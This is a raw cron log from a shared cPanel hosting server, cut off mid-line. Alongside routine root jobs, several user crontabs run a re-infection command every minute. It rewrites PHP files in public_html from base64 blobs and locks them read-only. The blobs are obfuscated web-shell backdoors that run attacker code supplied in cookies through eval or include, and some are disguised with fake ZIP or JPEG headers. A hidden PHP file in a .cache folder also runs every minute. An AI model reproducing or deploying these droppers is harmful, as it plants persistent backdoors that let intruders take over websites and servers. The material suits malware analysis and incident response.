Jun  7 04:56:02 medusa CROND[31909]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:57:02 medusa CROND[1286]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:57:02 medusa CROND[1287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:57:02 medusa CROND[1289]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:57:02 medusa CROND[1291]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:57:02 medusa CROND[1292]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:57:02 medusa CROND[1290]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:57:02 medusa CROND[1293]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:57:02 medusa CROND[1294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:57:02 medusa CROND[1298]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:57:02 medusa CROND[1303]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:57:02 medusa CROND[1305]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:57:02 medusa CROND[1310]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:58:01 medusa CROND[2926]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:58:02 medusa CROND[2935]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:58:02 medusa CROND[2939]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:58:02 medusa CROND[2940]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:58:02 medusa CROND[2937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:58:02 medusa CROND[2938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:58:02 medusa CROND[2942]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:58:02 medusa CROND[2944]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:58:02 medusa CROND[2945]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:58:02 medusa CROND[2949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 04:58:02 medusa CROND[2941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:58:02 medusa CROND[2951]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:58:02 medusa CROND[2960]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:58:02 medusa CROND[2964]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:59:01 medusa CROND[4583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:59:01 medusa CROND[4594]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:59:01 medusa CROND[4595]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:59:01 medusa CROND[4596]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:59:01 medusa CROND[4597]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiA